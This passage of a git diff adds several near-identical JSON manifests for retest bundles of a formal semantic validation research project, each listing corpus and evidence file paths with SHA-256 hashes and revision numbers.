"docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "corpus_sha256": "c57207af72406aa4f70882b9bbeb7cedcc79cf3854c878a95e3eb1fa59ea7a72", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "49.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v48.json", + "snapshot_sha256": "493f31233597480ece662a241bc414d4b115954b97f25309ac49b713c1863f21" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v49.json b/docs/research/formal-semantic-validation/bundles/retest-v49.json new file mode 100644 index 000000000..4160e1c17 --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v49.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v49.json", + "analysis_sha256": "d696a2dbbf92fa3f8cc562693c67a5a0dc2da76e580809bdbde226a83146e6b8", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml", + "sha256": "75834bdc883e2003e1c473870bdf75700978955bb83095c6bd718ba6bd3908a6" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml", + "sha256": "1d25bee5f556054e5f0a518df025e4c62e080e1964035e3c1a12e074d88d3a5d" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "corpus_sha256": "c57207af72406aa4f70882b9bbeb7cedcc79cf3854c878a95e3eb1fa59ea7a72", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "50.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v49.json", + "snapshot_sha256": "d35e61b6078a5dc594eb4ee89d011a7963d359bdbe768bb6b8464c00b1746ecd" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v50.json b/docs/research/formal-semantic-validation/bundles/retest-v50.json new file mode 100644 index 000000000..faad6021b --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v50.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v50.json", + "analysis_sha256": "dba82f88730ae5d96caec9253a2ee54af97b5b27267bdf29eb852679a3405551", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml", + "sha256": "75834bdc883e2003e1c473870bdf75700978955bb83095c6bd718ba6bd3908a6" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml", + "sha256": "1d25bee5f556054e5f0a518df025e4c62e080e1964035e3c1a12e074d88d3a5d" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "corpus_sha256": "c57207af72406aa4f70882b9bbeb7cedcc79cf3854c878a95e3eb1fa59ea7a72", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "51.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v50.json", + "snapshot_sha256": "e7fcf7e43aabb18c2f4112942f13e468264156a4fdba0f154d0fe5ac80773692" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v51.json b/docs/research/formal-semantic-validation/bundles/retest-v51.json new file mode 100644 index 000000000..892f34523 --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v51.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v51.json", + "analysis_sha256": "bac9bf909a23de3519f9d0806ea27148c78ff6c1e1fd79eb1568df2919fbf41b", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml", + "sha256": "75834bdc883e2003e1c473870bdf75700978955bb83095c6bd718ba6bd3908a6" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml", + "sha256": "1d25bee5f556054e5f0a518df025e4c62e080e1964035e3c1a12e074d88d3a5d" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "corpus_sha256": "c57207af72406aa4f70882b9bbeb7cedcc79cf3854c878a95e3eb1fa59ea7a72", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "52.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v51.json", + "snapshot_sha256": "24894ddd4483465610d830bfa3bd29c8022b622ea2f06c370b00475780d97a1b" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v52.json b/docs/research/formal-semantic-validation/bundles/retest-v52.json new file mode 100644 index 000000000..f9d6c12e1 --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v52.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v52.json", + "analysis_sha256": "ab0cc3ba71666a0eb111007f0a4441ceb6bdba32d5da9e0b582457fcf8117334", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml", + "sha256": "75834bdc883e2003e1c473870bdf75700978955bb83095c6bd718ba6bd3908a6" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml", + "sha256": "1d25bee5f556054e5f0a518df025e4c62e080e1964035e3c1a12e074d88d3a5d" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "corpus_sha256": "c57207af72406aa4f70882b9bbeb7cedcc79cf3854c878a95e3eb1fa59ea7a72", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "53.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v52.json", + "snapshot_sha256": "209dfc8970a27293c03234153dc59af3b6e301e5517e2169671e07c2f9e54abc" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v53.json b/docs/research/formal-semantic-validation/bundles/retest-v53.json new file mode 100644 index 000000000..13ea1d46b --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v53.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v53.json", + "analysis_sha256": "6bccf3a125915a8081238c3a37606dd07dda7e5497012b5d70bb83a39910acba", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml", + "sha256": "75834bdc883e2003e1c473870bdf75700978955bb83095c6bd718ba6bd3908a6" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml", + "sha256": "1d25bee5f556054e5f0a518df025e4c62e080e1964035e3c1a12e074d88d3a5d" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": 